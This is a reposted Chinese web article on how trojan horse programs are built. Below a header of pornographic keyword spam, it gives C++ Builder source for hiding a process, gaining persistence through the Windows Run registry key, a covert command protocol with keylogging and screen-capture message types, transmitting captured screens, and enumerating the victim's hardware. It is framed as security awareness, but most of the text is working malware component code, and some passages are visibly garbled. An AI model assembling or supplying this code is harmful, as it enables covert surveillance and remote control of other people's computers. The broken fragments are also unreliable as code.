日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

透视特洛伊木马程序开发技术

發(fā)布時間:2024/8/1 编程问答 43 豆豆
生活随笔 收集整理的這篇文章主要介紹了 透视特洛伊木马程序开发技术 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.
透視特洛伊木馬程序開發(fā)技術(shù)(轉(zhuǎn))
轉(zhuǎn):純真CZ88.NET

  近年來,黑客技術(shù)不斷成熟起來,對網(wǎng)絡(luò)安全造成了極大的威脅,黑客的主要攻擊手段之一,就是使用木馬技術(shù),滲透到對方的主機系統(tǒng)里,從而實現(xiàn)對 遠程操作目標(biāo)主機。 其破壞力之大,是絕不容忽視的,黑客到底是如何制造了這種種具有破壞力的木馬程序呢,下面我對木馬進行源代碼級的詳細的分析,讓我們對木馬的開發(fā)技術(shù)做一 次徹底的透視,從了解木馬技術(shù)開始,更加安全的管理好自己的計算機。

  1、木馬程序的分類

  木馬程序技術(shù)發(fā)展至今,已經(jīng)經(jīng)歷了4代,第一代,即是簡單的密碼竊取,發(fā)送等,沒有什么特別之處。第二代木馬,在技術(shù)上有了很大的進步,冰河可 以說為是國內(nèi)木馬的典型代表之一。第三代木馬在數(shù)據(jù)傳遞技術(shù)上,又做了不小的改進,出現(xiàn)了ICMP等類型的木馬,利用畸形報文傳遞數(shù)據(jù),增加了查殺的難 度。第四代木馬在進程隱藏方面,做了大的改動,采用了內(nèi)核插入式的嵌入方式,利用遠程插入線程技術(shù),嵌入DLL線程。或者掛接PSAPI,實現(xiàn)木馬程序的 隱藏,甚至在Windows NT/2000下,都達到了良好的隱藏效果。相信,第五代木馬很快也會被編制出來。關(guān)于更詳細的說明,可以參考ShotGun的文章《揭開木馬的神秘面 紗》。

   2.木馬程序的隱藏技術(shù)

  木馬程序的服務(wù)器端,為了避免被發(fā)現(xiàn),多數(shù)都要進行隱藏處理,下面讓我們來看看木馬是如何實現(xiàn)隱藏的。

  說到隱藏,首先得先了解三個相關(guān)的概念:進程,線程和服務(wù)。我簡單的解釋一下。

  進程:一個正常的Windows應(yīng)用程序,在運行之后,都會在系統(tǒng)之中產(chǎn)生一個進程,同時,每個進程,分別對應(yīng)了一個不同的PID (Progress ID, 進程標(biāo)識符)這個進程會被系統(tǒng)分配一個虛擬的內(nèi)存空間地址段,一切相關(guān)的程序操作,都會在這個虛擬的空間中進行。

  線程:一個進程,可以存在一個或多個線程,線程之間同步執(zhí)行多種操作,一般地,線程之間是相互獨立的,當(dāng)一個線程發(fā)生錯誤的時候,并不一定會導(dǎo)致整個進程的崩潰。

  服務(wù):一個進程當(dāng)以服務(wù)的方式工作的時候,它將會在后臺工作,不會出現(xiàn)在任務(wù)列表中,但是,在Windows NT/2000下,你仍然可以通過服務(wù)管理器檢查任何的服務(wù)程序是否被啟動運行。

  想要隱藏木馬的服務(wù)器端,可以偽隱藏,也可以是真隱藏。偽隱藏,就是指程序的進程仍然存在,只不過是讓他消失在進程列表里。真隱藏則是讓程序徹底的消失,不以一個進程或者服務(wù)的方式工作。

  偽隱藏的方法,是比較容易實現(xiàn)的,只要把木馬服務(wù)器端的程序注冊為一個服務(wù)就可以了,這樣,程序就會從任務(wù)列表中消失了,因為系統(tǒng)不認(rèn)為他是一 個進程,當(dāng)按下Ctrl+Alt+Delete的時候,也就看不到這個程序。但是,這種方法只適用于Windows9x的系統(tǒng),對于Windows NT,Windows 2000等,通過服務(wù)管理器,一樣會發(fā)現(xiàn)你在系統(tǒng)中注冊過的服務(wù)。難道偽隱藏的方法就真的不能用在Windows NT/2000下了嗎?當(dāng)然還有辦法,那就是API的攔截技術(shù),通過建立一個后臺的系統(tǒng)鉤子,攔截PSAPI的EnumProcessModules等相 關(guān)的函數(shù)來實現(xiàn)對進程和服務(wù)的遍歷調(diào)用的控制,當(dāng)檢測到進程ID(PID)為木馬程序的服務(wù)器端進程的時候直接跳過,這樣就實現(xiàn)了進程的隱藏,金山詞霸等 軟件,就是使用了類似的方法,攔截了TextOutA,TextOutW函數(shù),來截獲屏幕輸出,實現(xiàn)即時翻譯的。同樣,這種方法也可以用在進程隱藏上。

   當(dāng)進程為真隱藏的時候,那么這個木馬的服務(wù)器部分程序運行之后,就不應(yīng)該具備一般進程,也不應(yīng)該具備服務(wù)的,也就是說,完全的溶進了系統(tǒng)的內(nèi)核。也許你會 覺得奇怪,剛剛不是說一個應(yīng)用程序運行之后,一定會產(chǎn)生一個進程嗎?的確,所以我們可以不把他做成一個應(yīng)用程序,而把他做為一個線程,一個其他應(yīng)用程序的 線程,把自身注入其他應(yīng)用程序的地址空間。而這個應(yīng)用程序?qū)τ谙到y(tǒng)來說,是一個絕對安全的程序,這樣,就達到了徹底隱藏的效果,這樣的結(jié)果,導(dǎo)致了查殺黑 客程序難度的增加。

  出于安全考慮,我只給出一種通過注冊服務(wù)程序,實現(xiàn)進程偽隱藏的方法,對于更復(fù)雜,高級的隱藏方法,比如遠程線程插入其他進程的方法,請參閱ShotGun的文章《NT系統(tǒng)下木馬進程的隱藏與檢測》。

  WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int)

  {

  try

  {

  DWORD dwVersion = GetVersion();  //取得Windows的版本號

  if (dwVersion >= 0x80000000)   // Windows 9x隱藏任務(wù)列表

  {

   int (CALLBACK *rsp)(DWORD,DWORD);

   HINSTANCE dll=LoadLibrary("KERNEL32.DLL");  //裝入KERNEL32.DLL

   rsp=(int(CALLBACK *)(DWORD,DWORD))GetProcAddress(dll,"RegisterServiceProcess");  //找到RegisterServiceProcess的入口

   rsp(NULL,1);  //注冊服務(wù)

   FreeLibrary(dll);  //釋放DLL模塊

  }

  }

  catch (Exception &exception)  //處理異常事件

  {

  //處理異常事件

  }

  return 0;

  3、程序的自加載運行技術(shù)

  讓程序自運行的方法比較多,除了最常見的方法:加載程序到啟動組,寫程序啟動路徑到注冊表的HKEY_LOCAL_MACHINE/ SOFTWARE/Microsoft/Windows/CurrentVersions/Run的方法外,還有很多其他的辦法,據(jù)yagami講,還有 幾十種方法之多,比如可以修改Boot.ini,或者通過注冊表里的輸入法鍵值直接掛接啟動,通過修改Explorer.exe啟動參數(shù)等等的方法,真的 可以說是防不勝防,下面展示一段通過修改HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/ CurrentVersions/Run鍵值來實現(xiàn)自啟動的程序:

  自裝載部分:

  HKEY hkey;

  AnsiString NewProgramName=AnsiString(sys)+AnsiString("+PName/">//")+PName

  unsigned long k;

  k=REG_OPENED_EXISTING_KEY;

  RegCreateKeyEx(HKEY_LOCAL_MACHINE,

  "SOFTWARE//MICROSOFT//WINDOWS//CURRENTVERSION//RUN//",

  0L,

  NULL,

  REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS|KEY_SET_VALUE,

  NULL,

  &hkey,&k);

   RegSetValueEx(hkey,

  "BackGroup",

  0,

  REG_SZ,

  NewProgramName.c_str(),

  NewProgramName.Length());

  RegCloseKey(hkey);

  if (int(ShellExecute(Handle,

  "open",

  NewProgramName.c_str(),

  NULL,

  NULL,

  SW_HIDE))>32)

  {

   WantClose=true;

  Close();

  }

  else

  {

  HKEY hkey;

  unsigned long k;

  k=REG_OPENED_EXISTING_KEY;

  long a=RegCreateKeyEx(HKEY_LOCAL_MACHINE,

  "SOFTWARE//MICROSOFT//WINDOWS//CURRENTVERSION//RUN",

  0,

  NULL,

  REG_OPTION_NON_VOLATILE,

  KEY_SET_VALUE,NULL,

  &hkey,&k);

  RegSetValueEx(hkey,

  "BackGroup",

  0,

  REG_SZ,

  ProgramName.c_str(),

  ProgramName.Length());

  int num=0;

  char str[20];

  DWORD lth=20;

  DWORD type;

  char strv[255];

  DWORD vl=254;

  DWORD Suc;

  do{

  Suc=RegEnumValue(HKEY_LOCAL_MACHINE,

  (DWORD)num,str,

  NULL,

  &type,

  strv,&vl);

  if (strcmp(str,"BGroup")==0)

  {

   DeleteFile(AnsiString(strv));

   RegDeleteValue(HKEY_LOCAL_MACHINE,"BGroup");

   break;

  }

  }while(Suc== ERROR_SUCCESS);

  RegCloseKey(hkey);

  }

  自裝載程序的卸載代碼:

  int num;

  char str2[20];

  DWORD lth=20;

  DWORD type;

  char strv[255];

  DWORD vl=254;

  DWORD Suc;

  do{

  Suc=RegEnumValue(HKEY_LOCAL_MACHINE,

  (DWORD)num,

  str,

  NULL,

  &type,

  strv,

  &vl);

  if (strcmp(str,"BGroup")==0)

  {

   DeleteFile(AnsiString(strv));

   RegDeleteValue(HKEY_LOCAL_MACHINE,"BGroup");

   break;

  }

  }while(Suc== ERROR_SUCCESS)

  HKEY hkey;

  unsigned long k;

  k=REG_OPENED_EXISTING_KEY;

   RegCreateKeyEx(HKEY_LOCAL_MACHINE,

  "SOFTWARE//MICROSOFT//WINDOWS//CURRENTVERSION//RUN",

  0,

  NULL,

  REG_OPTION_NON_VOLATILE,

  KEY_SET_VALUE,NULL,

  &hkey,

  &k);

  do{

  Suc=RegEnumValue(hkey,(DWORD)num,str,  if (strcmp(str,"BackGroup")==0)

  {

  DeleteFile(AnsiString(strv));

  RegDeleteValue(HKEY_LOCAL_MACHINE,"BackGroup");

  break;

  }

  }while(Suc== ERROR_SUCCESS)

  RegCloseKey(hkey);

  其中自裝載部分使用C++ Builder可以這樣寫,會比較簡化:

  TRegistry & regKey = *new TRegistry();

  regKey.RootKey=HKEY_LOCAL_MACHINE;

  regKey.OpenKey("Software//Microsoft//Windows//CurrentVersion//Run",true);

  if(!regKey.ValueExists("Interbase Server"))

  {

  regKey.WriteString("Interbase Server",

  "D://Program Files//Borland//IntrBase//BIN//ibserver.exe");

  }

  regKey.CloseKey();

  delete &regey;

  4、木馬程序的建立連接的隱藏

  木馬程序的數(shù)據(jù)傳遞方法有很多種,其中最常見的要屬TCP,UDP傳輸數(shù)據(jù)的方法了,通常 是利用Winsock與目標(biāo)機的指定端口建立起連接,使用send和recv等API進行數(shù)據(jù)的傳遞,但是由于這種方法的隱蔽性比較差,往往容易被一些工 具軟件查看到,最簡單的,比如在命令行狀態(tài)下使用netstat命令,就可以查看到當(dāng)前的活動TCP,UDP連接。

  C:/Documents and Settings/bigball>netstat -n

  Active Connections

   Proto Local Address Foreign Address State

   TCP 192.0.0.9:1032 64.4.13.48:1863 ESTABLISHED

   TCP 192.0.0.9:1112 61.141.212.95:80 ESTABLISHED

   TCP 192.0.0.9:1135 202.130.239.223:80 ESTABLISHED

   TCP 192.0.0.9:1142 202.130.239.223:80 ESTABLISHED

   TCP 192.0.0.9:1162 192.0.0.8:139 TIME_WAIT

   TCP 192.0.0.9:1169 202.130.239.159:80 ESTABLISHED

   TCP 192.0.0.9:1170 202.130.239.133:80 TIME_WAIT

  C:/Documents and Settings/bigball>netstat -a

  Active Connections

   Proto Local Address Foreign Address State

   TCP Liumy:echo Liumy:0 LISTENING

   TCP Liumy:discard Liumy:0 LISTENING

   TCP Liumy:daytime Liumy:0 LISTENING

   TCP Liumy:qotd Liumy:0 LISTENING

   TCP Liumy:chargen Liumy:0 LISTENING

   TCP Liumy:epmap Liumy:0 LISTENING

   TCP Liumy:microsoft-ds Liumy:0 LISTENING

   TCP Liumy:1025 Liumy:0 LISTENING

   TCP Liumy:1026 Liumy:0 LISTENING

   TCP Liumy:1031 Liumy:0 LISTENING

   TCP Liumy:1032 Liumy:0 LISTENING

   TCP Liumy:1112 Liumy:0 LISTENING

   TCP Liumy:1135 Liumy:0 LISTENING

   TCP Liumy:1142 Liumy:0 LISTENING

   TCP Liumy:1801 Liumy:0 LISTENING

   TCP Liumy:3372 Liumy:0 LISTENING

   TCP Liumy:3389 Liumy:0 LISTENING

   TCP Liumy:netbios-ssn Liumy:0 LISTENING

   TCP Liumy:1028 Liumy:0 LISTENING

   TCP Liumy:1032 msgr-ns19.msgr.hotmail.com:1863 ESTAB

   TCP Liumy:1112 szptt61.141.szptt.net.cn:http ESTABLI

   TCP Liumy:1135 202.130.239.223:http ESTABLISHED

   TCP Liumy:1142 202.130.239.223:http ESTABLISHED

   TCP Liumy:1162 W3I:netbios-ssn TIME_WAIT

   TCP Liumy:1170 202.130.239.133:http TIME_WAIT

   TCP Liumy:2103 Liumy:0 LISTENING

   TCP Liumy:2105 Liumy:0 LISTENING

   TCP Liumy:2107 Liumy:0 LISTENING

   UDP Liumy:echo *:*

   UDP Liumy:discard *:*

   UDP Liumy:daytime *:*

   UDP Liumy:qotd *:*

   UDP Liumy:chargen *:*

   UDP Liumy:epmap *:*

   UDP Liumy:snmp *:*

   UDP Liumy:microsoft-ds *:*

   UDP Liumy:1027 *:*

   UDP Liumy:1029 *:*

   UDP Liumy:3527 *:*

   UDP Liumy:4000 *:*

   UDP Liumy:4001 *:*

   UDP Liumy:1033 *:*

   UDP Liumy:1148 *:*

   UDP Liumy:netbios-ns *:*

   UDP Liumy:netbios-dgm *:*

   UDP Liumy:isakmp *:*

   但是,黑客還是用種種手段躲避了這種偵察,就我所知的方法大概有兩種,一種是合并端口法,也就是說,使用特殊的手段,在一個端口上同時綁定兩個TCP或 者UDP連接,這聽起來不可思議,但事實上確實如此,而且已經(jīng)出現(xiàn)了使用類似方法的程序,通過把自己的木馬端口綁定于特定的服務(wù)端口之上,(比如80端口 的HTTP,誰懷疑他會是木馬程序呢?)從而達到隱藏端口的目地。另外一種辦法,是使用ICMP(Internet Control Message Protocol)協(xié)議進行數(shù)據(jù)的發(fā)送,原理是修改ICMP頭的構(gòu)造,加入木馬的控制字段,這樣的木馬,具備很多新的特點,不占用端口的特點,使用戶難以 發(fā)覺,同時,使用ICMP可以穿透一些防火墻,從而增加了防范的難度。之所以具有這種特點,是因為ICMP不同于TCP,UDP,ICMP工作于網(wǎng)絡(luò)的應(yīng) 用層不使用TCP協(xié)議。關(guān)于網(wǎng)絡(luò)層次的結(jié)構(gòu),下面給出圖示:

   網(wǎng)絡(luò)層次結(jié)構(gòu)圖

  5、發(fā)送數(shù)據(jù)的組織方法

  關(guān)于數(shù)據(jù)的組織方法,可以說是數(shù)學(xué)上的問題。關(guān)鍵在于傳遞數(shù)據(jù)的可靠性,壓縮性,以及高效行。木馬程序,為了避免被發(fā)現(xiàn),必須很好的控制數(shù)據(jù)傳輸量,一個編制較好的木馬,往往有自己的一套傳輸協(xié)議,那么程序上,到底是如何組織實現(xiàn)的呢?下面,我舉例包裝一些協(xié)議:

  typedef struct{ //定義消息結(jié)構(gòu)

  //char ip[20];

  char Type; //消息種類

  char Password[20]; //密碼

  int CNum; //消息操作號

  //int Length; //消息長度

  }Msg;

  #define MsgLen sizeof(Msg)

  //-------------------------------------------

  //對話框數(shù)據(jù)包定義:Dlg_Msg_Type.h

  //-------------------------------------------

  //定義如下消息類型:

  #define MsgDlgCommon 4//連接事件

  #define MsgDlgSend 5//發(fā)送完成事件

  //消息結(jié)構(gòu)

  typedef struct{

   char Name[20];//對話框標(biāo)題

   char Msg[256];//對話框消息內(nèi)容

  }MsgDlgUint;

  #define MsgDlgLen sizeof(MsgDlgUint)//消息單元長度

  //------------------------------------------

  //聊天數(shù)據(jù)包定義:Chat_Msg_Type.h

  //------------------------------------------

  //定義如下消息類型:

  #define MsgChatCommon 0//連接事件

  #define MsgChatConnect 1//接入事件

  #define MsgChatEscept 2//結(jié)束事件

  #define MsgChatReceived 16//確認(rèn)對話內(nèi)容收到

  //消息結(jié)構(gòu)

  typedef struct{

   char ClientName[20];//Client自定義的名稱

   char Msg[256];//發(fā)送的消息

  }MsgChatUint;

  #define MsgChatLen sizeof(MsgChatUint)//消息單元長度

  //------------------------------------------

  //重啟數(shù)據(jù)包定義:Reboot_Msg_Type.h

  //------------------------------------------

  //定義如下消息類型:

  #define MsgReBoot 15//重啟事件

  //------------------------------------------

  //目錄結(jié)構(gòu)請求數(shù)據(jù)包定義:Dir_Msg_Type.h

  //------------------------------------------

  //定義如下消息類型:

  #define MsgGetDirInfo 17

  #define MsgReceiveGetDirInfo 18

  typedef struct{

  char Dir[4096];//你要的目錄名

  }MsgDirUint;

  #define MsgDirUintLen sizeof(MsgDirUint)

  // TCP的Msg

  typedef struct{ //定義消息結(jié)構(gòu)

  char SType; //消息種類

  char SPassword[20]; //密碼

  //int SNum; //消息操作號

  char *AllMsg;

  }SMsg;

  #define SMsgLen sizeof(SMsg)

  #define MSGListProgram 19

  #define MSGFlyMouse 21

  #define MSGGoWithMouse 22

  #define MSGSaveKey 23

  #define MSGTracekey 24

  #define MsgCopyScreen 25//tcp接收消息,udp請求消息

  #define MSGCopyWindow 26

  //-------------------------

  //鼠標(biāo)指針隱藏和顯示控制

  //-------------------------

  #define MsgSetMouseStat 27//設(shè)置消息

  #define MsgMouseStat 28//成功消息

  typedef struct{

  bool mouseshow;

  }MsgSetMouseStatUint;

  #define MsgSetMouseStatUintLen sizeof(MsgSetMouseStatUint)

  //-------------------------

  //任務(wù)欄隱藏和顯示控制

  //-------------------------

  #define MsgSetTaskBarStat 29//設(shè)置消息

  #define MsgTaskBarStat 30//成功消息

  typedef struct{

  bool taskshow;

  }MsgSetTaskBarStatUint;

  #define MsgSetTaskBarStatUintLen sizeof(MsgSetTaskBarStatUint)

  //-------------------------

  //得到機器名

  //-------------------------

  #define MsgGetNetBiosName 31//取請求

  #define MsgNetBiosName 32//回送機器名

  typedef struct{

  char NetBiosName[128];

  }MsgNetBiosNameUint;

  #define MsgNetBiosNameUintLen sizeof(MsgNetBiosNameUint)

  //-------------------------

  //關(guān)閉進程變更!

  //-------------------------

  #define MsgSetProgramClose 33//關(guān)閉請求

  #define MsgProgramClosed 34//成功消息-----

  typedef struct{

  char ProgramName[4096];//old struct : char ProgramName[128];//要關(guān)閉的窗口的名字

  }MsgSetProgramCloseUint;

  #define MsgSetProgramCloseUintLen sizeof(MsgSetProgramCloseUint)

  //-------------------------

  //打開進程變更!

  //-------------------------

  #define MsgSetProgramOpen 20//打開請求

  #define MsgProgramOpened 36//成功消息

  typedef struct{

  char ProgramName[4096]; //old struct : char ProgramName[128];//要打開的程序的名字

  bool ProgramShow;//前臺運行或后臺運行程序(隱藏運行)

  }MsgSetProgramOpenUint;

  #define MsgSetProgramOpenUintLen sizeof(MsgSetProgramOpenUint)

  #define MsgGetHardWare 35//請求硬件信息(UDP消息)和回傳硬件信息(TCP消息)

   上面一段定義,使用了TCP和UDP兩種協(xié)議目的就是為了減少TCP連接的幾率,這樣所消耗的系統(tǒng)資源就會比較少,不容易讓目標(biāo)機察覺。很多木馬程序 中,都有像上面定義中類似的密碼定義,目地是為了防止非真實客戶機的連接請求。SNum 為消息操作號,它的作用是為了效驗數(shù)據(jù)是否是發(fā)送過的,經(jīng)過分析而知,我們熟悉的OICQ也正是使用了這一辦法來校驗消息的。

  數(shù)據(jù)協(xié)議組織好,還有一步工作,就是數(shù)據(jù)的打包發(fā)送,一般的方法是把全部數(shù)據(jù)壓為一個VOID類型的數(shù)據(jù)流,然后發(fā)送:

  Msg *msg=new Msg;

  TMemoryStream *RData=new TMemoryStream;

  NMUDP1->ReadStream(RData);

  RData->Read(msg,sizeof(Msg));

  UdpConnect *udpconnect=new UdpConnect;

  NetBiosName *netbiosname=new NetBiosName;

  if(msg->CNum==CNumBak)

  return;

  else{

  CNumBak=msg->CNum;

  switch(msg->Type)

  {

  case 0://MsgUdpConnect

  RData->Read(udpconnect,sizeof(UdpConnect));

  checkuser(udpconnect->IsRight);

  break;

  case 1:

  RData->Read(netbiosname,sizeof(NetBiosName));

  AnsiString jqm="機器名 ";

  jqm+=(AnsiString)netbiosname->NetBiosName;

  Memo2->Lines->Add(jqm);

  break;

  }

  }

  當(dāng)服務(wù)器端收到數(shù)據(jù)后,首先要做的工作是解包還原VOID流為結(jié)構(gòu)化的協(xié)議,這里同樣給出事例代碼:

  NMUDP1->RemoteHost=FromIP;

  NMUDP1->RemotePort=Port;

  TMemoryStream *RData=new TMemoryStream;

  NMUDP1->ReadStream(RData);

  Msg *msg=new Msg;

  RData->Read(msg,sizeof(Msg));

  if(msg->CNum==CNumBak)

  return;

  else

  {

  CNumBak=msg->CNum;

  switch(msg->Type)

  {

  case 0:

  checkuser(msg->Password);

  break;

  case 1:

  GetNetBiosName();

  break;

  case 2:

  CheckHard();

  break;

  }

  }

  此外,很多木馬程序支持了屏幕回傳的功能,其根本的原理是先捕獲屏幕畫面,然后回傳給客戶機,由于畫面的數(shù)據(jù)量很大所以,很多木馬程序都是在畫面改變的時候才回傳改變部分的畫面,常用的手段是最小矩形法,下面以好友“古老傳說”的一段算法舉例:

  #define MAXXCount 10 //屏幕X方向最多分割塊數(shù)

  #define MAXYCount 5 //... Y................

  #define DestNum 1000 //每塊的偏移檢測點最大個數(shù)

  COLORREF Colors[MAXXCount][MAXYCount][DestNum];

  COLORREF BakColors[MAXXCount]{MAXYCount][DestNum];

  TPoint Dests[DestNum];

  int Sw;

  int Sh;

  int xCount;

  int yCount;

  int ItemWidth;

  int ItemHeight;

  int Dnum;

  int Qlity;

  //得到消息后執(zhí)行:

  //另外:接收到的數(shù)據(jù)包中分析出 Dnum ,Qlity

  //Dnum:偏移觀測點數(shù)量

  //Qlity:圖象要求質(zhì)量

  __fastcall TForm1::CopyScreen(int DNum,int Qlity){

  ItemWidth=Sw/xCount;

  ItemHeight=Sh/yCount;

  Sw=Screen->Width;

  Sh=Screen->Height;

  xCount=(Sw>1000)?8:6;

  yCount=(Sh>1000)?3:2;

  for (int num1=0;num1 Dests[num1].x=random(ItemWidth);

  Dests[num1].y=random(ItemHeight);

  }

  CatchScreen(DNum,Qlity);

  }

  //收到刷屏消息后只執(zhí)行:

  CatchScreen(DNum,Qlity);

  __fastcall TForm1::CatchScreen(int DNum,int Qlity){

  //函數(shù)功能:掃描改變的屏幕區(qū)域,并切經(jīng)過優(yōu)化處理,最后發(fā)送這些區(qū)域數(shù)據(jù)

  //DNum: 偏移量 Qlity:圖象質(zhì)量

  HDC dc=GetDC(GetDesktopWindow());

  Graphics::TBitmap *bm=new Graphics::TBitmap;

  bm->Width=Sw;

  bm->Height=Sh;

  BitBlt(bm->Canvas->Handle,0,0,Sw-1,Sh-1,dc,0,0);

  int num1,num2,num3;

  int nowx,nowy;

  bool Change;

  bool ItemChange[MAXXCount][MAXYCount];

  for (num1=0;num1 nowx=ItemWidth*num1;

  for (num2=0;num2 nowy=ItemHeight*num2;

  Change=false;

  for (num3=0;num3 Colors[num1][num2][num3]=bm->Canvas->Pixels[nowx+Dests[num3].x][nowy+Dests[num3].y];

  if (Colors[num1][num2][num3]!=BakColors[num1][num2][num3]){

  BakColors[num1][num2][num3]=Colors[num1][num2][num3];

  ItemChange[num1][num2]=true;

  }

  }

  }

  }

  int CNum,MaxCNum;

  int ChangedNum=0;

  TRect *Rect;

  int num4;

  int MinSize=10000;

  int m;

  TRect MinRect;

  Graphics::TBitmap *bt2=new Graphics::TBitmap;

  TJPEGImage *j=new TJPEGImage;

  //************************

  j->Quality=Qlity;

  //************************

  CopyScreenUint CopyScreen;

  CopyScreenItemUint CopyScreenItem;

  TMemoryStream *ms=new TMemoryStream;

  ms->Write(&TcpMsg,sizeof(TcpMsgUint));

  ms->Write(&CopyScreen,sizeof(CopyScreenUint));

  do{

  for (num1=0;num1 for (num2=0;num2 for (num3=num1+1;num3<=xCount;num3++){

  MaxCNum=0;

  for (num4=num2+1;num4<=yCount;num4++){ //遍歷所有矩形

  CNum=GetChangedNum(TRect(num1,num2,num3,num4));

  if (CNum>MaxCNum) MaxCNum=CNum;

  m=(num3-num1)*(num4-num2);

  if (2*m-CNum MinSize=2*m-CNum;

  MinRect=TRect(num1,num2,num3,num4);

  }

  }

  }

  TMemoryStream *ms;

  BitBlt(bt2->Canvas->Handle,0,0,ItemWidth-1,ItemHeight-1,bt->Canvas->Handle,0,0);

  j->Assign(bt2);

  j->SaveToStream(ms2);

  CopyScreenItem.Rect=TRect(num1,num2,num3,num4);

  CopyScreenItem.FileType=JPEGFILE; //JPEGFILE 定義為:#define JPEGFILE 1

  ms2->Position=0;

  CopyScreenItem.Length=ms2->Size;

  ms->Write(&CopyScreenItem,sizeof(ScreenItemUint));

  ms->CopyFrom(ms2,ms2->Size);

  ChangedNum++;

  }while(MaxCNum>0);

  TcpMsg.Type=MsgCopyScreen;

  ms->Position=0;

  TcpMsg.Length=ms->Size-sizeof(TcpMsgUint);

  CopyScreen.Count=ChangedNum;

  ms->Write(&TcpMsg,sizeof(TcpMsgUint));

  ms->Write(&CopyScreen,sizeof(CopyScreenUInt));

  ms->Position=0;

  sock->SendStream(ms);

  }

  這個程序把屏幕畫面切分為了多個部分,并存儲畫面為JPG格式,這樣壓縮率就變的十分的高了。通過這種方法壓縮處理過的數(shù)據(jù),變得十分小,甚至在屏幕沒有改變的情況下,傳送的數(shù)據(jù)量為0,在這里不做過多分析了,有興趣的朋友,可以多看看。

  6、目標(biāo)機器情況的獲取

  相對于以上幾部分來說,這里實現(xiàn)的方法簡單多了,這一段內(nèi)容會比較輕松,一般獲取機器情況的方法是調(diào)用相關(guān)的API,這一點上是和應(yīng)用程序很相像的。

  AnsiString cs;

  FILE *fp;

  fp=fopen("temp.had","w+");

  //TODO: Add your source code here

  //獲得CPU型號

  SYSTEM_INFO systeminfo;

  GetSystemInfo (&systeminfo);

  cs="CPU類型是:"+String(systeminfo.dwProcessorType)+"/n";

  fwrite(cs.c_str(),cs.Length(),1,fp);

  MEMORYSTATUS memory;

  memory.dwLength =sizeof(memory); //初始化

  GlobalMemoryStatus(&memory);

  cs="物理內(nèi)存是(Mb):"+String(int(memory.dwTotalPhys /1024/1024))+"/n";

  fwrite(cs.c_str(),cs.Length(),1,fp);

  cs="可用內(nèi)存是(Kb):"+String(int( memory.dwAvailPhys/1024))+"/n";

  fwrite(cs.c_str(),cs.Length(),1,fp);

  DWORD sector,byte,cluster,free;

  long int freespace,totalspace;

  UINT type;

  char name;

  //0—未知盤、1—不存在、2—可移動磁盤、3—固定磁盤、4—網(wǎng)絡(luò)磁盤、

  //5—CD-ROM、6—內(nèi)存虛擬盤

  char volname[255],filename[100];//buffer[512];

  DWORD sno,maxl,fileflag ;

  for (name=‘A‘;name<=‘Z‘;name++) {//循環(huán)檢測A~Z

  type = GetDriveType(AnsiString(AnsiString(name)+‘:‘).c_str()); //獲得磁盤類型

  if(type==0){

  cs="未知類型磁盤:"+String(name)+"/n";

  fwrite(cs.c_str(),cs.Length(),1,fp);

  }

  else if(type==2){

  cs="可移動類型磁盤:"+String(name)+"/n";

  fwrite(cs.c_str(),cs.Length(),1,fp);

  }

  else if(type==3){

  cs="固定磁盤:"+String(name)+"/n";

  fwrite(cs.c_str(),cs.Length(),1,fp);

  }

  else if(type==4)   {

  cs="網(wǎng)絡(luò)映射磁盤:"+String(name)+"/n";

  fwrite(cs.c_str(),cs.Length(),1,fp);

  }

  else if (type==5)  {

  cs="光驅(qū):"+String(name)+"/n";

  fwrite(cs.c_str(),cs.Length(),1,fp);

  }

  else if (type==6)  {

  cs="內(nèi)存虛擬磁盤:"+String(name)+"/n";

  fwrite(cs.c_str(),cs.Length(),1,fp);

  }

   if(GetVolumeInformation((String(name)+String(‘:‘)).c_str(), volname,255,&sno,&maxl,&fileflag,filename,100))  {

  cs=String(name)+"盤卷標(biāo)為:"+String(volname)+"/n";

  fwrite(cs.c_str(),cs.Length(),1,fp);

  cs=String(name)+"盤序號為:"+String(sno)+"/n";

  fwrite(cs.c_str(),cs.Length(),1,fp);

  GetDiskFreeSpace((String(name)+String(‘:‘)).c_str(),§or,&byte,&free,&cluster); //獲得返回參數(shù)

  totalspace=int(cluster)*byte*sector/1024/1024; //計算總?cè)萘?br />
  freespace=int(free)*byte*sector/1024/1024; //計算可用空間

  cs=String(name)+String(‘:‘)+"盤總空間(Mb):"+AnsiString(totalspace)+"/n";

  fwrite(cs.c_str(),cs.Length(),1,fp);

  cs=String(name)+String(‘:‘)+"盤可用空間(Mb):"+AnsiString(freespace)+"/n";

  fwrite(cs.c_str(),cs.Length(),1,fp);

  }

  }

  int wavedevice,mididevice;

  WAVEOUTCAPS wavecap;

  MIDIOUTCAPS midicap;

  wavedevice=(int)waveOutGetNumDevs(); //波形設(shè)備信息

  mididevice=(int)midiOutGetNumDevs(); // MIDI設(shè)備信息

  if (wavedevice!=0){

  waveOutGetDevCaps(0,&wavecap,sizeof(WAVEOUTCAPS));

  cs="當(dāng)前波形設(shè)備:"+String(wavecap.szPname)+"/n";

  fwrite(cs.c_str(),cs.Length(),1,fp);

  }

  if (mididevice!=0){

  midiOutGetDevCaps(0,&midicap,sizeof(MIDIOUTCAPS));

  cs="當(dāng)前MIDI設(shè)備:"+String(midicap.szPname)+"/n";

  fwrite(cs.c_str(),cs.Length(),1,fp);

  }

  long double tcs;

  long double tc;

  long int bpp,cp;

  cs="當(dāng)前分辨率為:"+String(Screen->Width)+AnsiString("*")+ String(Screen->Height)+"/n";

  fwrite(cs.c_str(),cs.Length(),1,fp);

  bpp=GetDeviceCaps(Canvas->Handle ,BITSPIXEL);

  tcs=pow(2,bpp); //計算色彩的梯度數(shù)

  cp= GetDeviceCaps(Form1->Canvas->Handle,PLANES);

  tc= pow(double(tcs),double(cp)); //計算色深

  AnsiString sss;

  sss=bpp;

  cs="當(dāng)前色深為:"+sss+"/n";

  fwrite(cs.c_str(),cs.Length(),1,fp);

  fclose(fp);

  AnsiString FileName="temp.had";

